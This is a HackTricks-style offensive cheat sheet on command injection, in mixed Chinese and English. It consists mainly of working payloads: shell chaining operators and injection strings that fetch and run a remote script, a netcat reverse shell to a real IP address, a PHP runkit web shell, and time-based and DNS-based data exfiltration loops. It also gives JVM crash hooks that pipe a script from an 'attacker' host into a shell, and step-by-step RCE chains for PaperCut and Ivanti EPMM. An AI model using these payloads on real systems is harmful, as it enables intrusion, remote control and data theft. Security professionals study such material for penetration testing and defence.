Command Injection

Tip

学习并实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) 浏览用于评估路线的 完整 HackTricks Training 目录ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)

支持 HackTricks

什么是 command Injection?

一个 command injection 允许攻击者在托管应用程序的服务器上执行任意操作系统命令。结果,该应用程序及其所有数据可能会被完全攻破。执行这些命令通常允许攻击者获得对应用程序环境及底层系统的未授权访问或控制权。

上下文

取决于你的输入被注入到哪里,在执行命令之前,你可能需要结束引用上下文(使用 "')。

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

PHP 规则引擎(启用 runkit

一些应用通过执行攻击者提供的 PHP来实现仅限管理员的“规则引擎”。如果环境启用了 runkit 扩展,攻击者可以在运行时重新定义或注入函数,将仅逻辑的规则编辑器升级为完整的 PHP RCE

Indicators:

  • 管理界面接受并会被评估的 PHP 风格“规则”。
  • 已加载 runkit / runkit7(可通过 phpinfo()extension_loaded('runkit') 检查)。

滥用示例(重新定义规则中用于执行命令的函数):

<?php
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');

如果规则内容被存储并在之后被评估,它会在 web context 中成为一个持久的 RCE primitive。

限制 绕过

如果你尝试执行 在 linux machine 内的任意命令,你会对阅读这些 绕过方法: 感兴趣。

Bypass Linux Restrictions

示例

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

RewriteMap/CGI-style 脚本中的 Bash 算术求值

RewriteMap helpers written in bash 有时会把查询参数推入全局变量,然后在 算术上下文 ([[ $a -gt $b ]], $((...)), let) 中比较它们。算术扩展会重新分词内容,因此由攻击者控制的变量名或数组引用会被展开两次并可能被执行。

Pattern seen in Ivanti EPMM RewriteMap helpers:

  1. 参数映射到全局变量 (stgStartTime, htheValue)。
  2. 后来检查:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. 发送 st=theValue,使 gStartTime 指向字符串 theValue
  2. 发送 h=gPath['sleep 5'],使 theValue 包含一个数组索引;在算术检查期间它会运行 sleep 5(替换为真实 payload)。

探测(若易受攻击,大约延迟 ~5s 然后返回 404):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

注意:

  • 在其他前缀下查找相同的 helper(例如,/mifs/c/aftstore/fob/)。
  • 在算术上下文中,未知的 tokens 会被视为变量/数组标识符,因此这可以绕过简单的 metacharacter 过滤器。

参数

下面是可能易受 code injection 和类似 RCE 漏洞影响的前 25 个参数(来自 link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

基于时间的 data exfiltration

提取数据: char by char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

基于 DNS 的 data exfiltration

基于来自 https://github.com/HoLyVieR/dnsbin 的工具,该工具也托管在 dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

用于检测基于 DNS 的 data exfiltration 的在线工具:

  • dnsbin.zhack.ca
  • pingb.in

绕过过滤

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.execexecFile

在审计 JavaScript/TypeScript 后端时,你经常会遇到 Node.js 的 child_process API。

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() 会生成一个 shell (/bin/sh -c),因此任何对 shell 有特殊含义的字符(back-ticks、;&&|$()、…)在将用户输入拼接到字符串中时都会导致 command injection

缓解: 使用 execFile()(或在不启用 shell 选项的情况下使用 spawn())并提供 每个参数作为单独的数组元素,这样就不会涉及 shell:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 可被利用,攻击者通过未认证的 WebSocket 事件将攻击者控制的数据写入 id_user,该字段随后被嵌入到 exec() 调用中,从而实现 RCE (Pwn2Own Ireland 2024)。

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

并非所有注入都需要 shell metacharacters。如果应用将不受信任的字符串作为参数传给系统工具(即使使用 execve/execFile 且没有 shell),许多程序仍会将以 --- 开头的参数解析为选项。这允许攻击者切换模式、修改输出路径或触发危险行为,而无需进入 shell。

Typical places where this appears:

  • 嵌入式 web UIs/CGI handlers,会构造类似 ping <user>tcpdump -i <iface> -w <file>curl <url> 等命令。
  • 集中式 CGI 路由(例如 /cgi-bin/<something>.cgi,带有类似 topicurl=<handler> 的选择器参数),多个处理程序重用相同的弱校验器。

What to try:

  • 提供以 -/-- 开头的值,让下游工具将其作为标志解析。
  • 滥用会改变行为或写文件的标志,例如:
    • ping: -f/-c 100000 以增加设备负载(DoS)
    • curl: -o /tmp/x 写入任意路径,-K <url> 加载攻击者控制的配置
    • tcpdump: -G 1 -W 1 -z /path/script.sh 在不安全的包装器中实现轮换后执行
  • 如果程序支持 -- end-of-options,尝试绕过在错误位置预置 -- 的简单缓解措施。

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

JVM diagnostic callbacks for guaranteed exec

任何允许你 inject JVM command-line arguments (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) 的 primitive,都可以在不触及 application bytecode 的情况下变成可靠的 RCE:

  1. Force a deterministic crash:通过缩小 metaspace 或 heap(例如 -XX:MaxMetaspaceSize=16m 或 很小的 -Xmx)。这会在早期 bootstrap 阶段也保证触发 OutOfMemoryError
  2. Attach an error hook-XX:OnOutOfMemoryError="<cmd>"-XX:OnError="<cmd>" 会在 JVM 中止时执行任意 OS command。
  3. 可选地添加 -XX:+CrashOnOutOfMemoryError 以避免恢复尝试并使 payload 成为一次性。

Example payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see Localhost WebSocket abuse) therefore translate directly into OS command execution.

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • 易受影响的 NG/MF 版本(例如 22.0.5 Build 63914)会暴露 /app?service=page/SetupCompleted;在该页面浏览并点击 Login 会在无需凭证的情况下返回有效的 JSESSIONID(authentication bypass in the setup flow)。
  • Options → Config Editor 中,将 print-and-device.script.enabled=Yprint.script.sandboxed=N 设置为以启用打印脚本并禁用沙箱。
  • 在打印机 Scripting 选项卡中,启用脚本并保持 printJobHook 定义以避免验证错误,但将 payload 放在函数的 外部,这样在点击 Apply 时会立即执行(无需打印任务):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • 将 callback 换成 reverse shell;如果 UI/PoC 无法处理 pipes/redirects,则先用一个命令 stage 一个 payload,然后通过第二次请求 exec 它。
  • Horizon3 的 CVE-2023-27350.py 自动化 auth bypass、config flips、command execution 和 rollback——当服务仅在内部可达时,通过上游代理(例如 proxychains → Squid)运行它。

Brute-Force 检测列表

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt

参考资料

Tip

学习并实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) 浏览用于评估路线的 完整 HackTricks Training 目录ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)

支持 HackTricks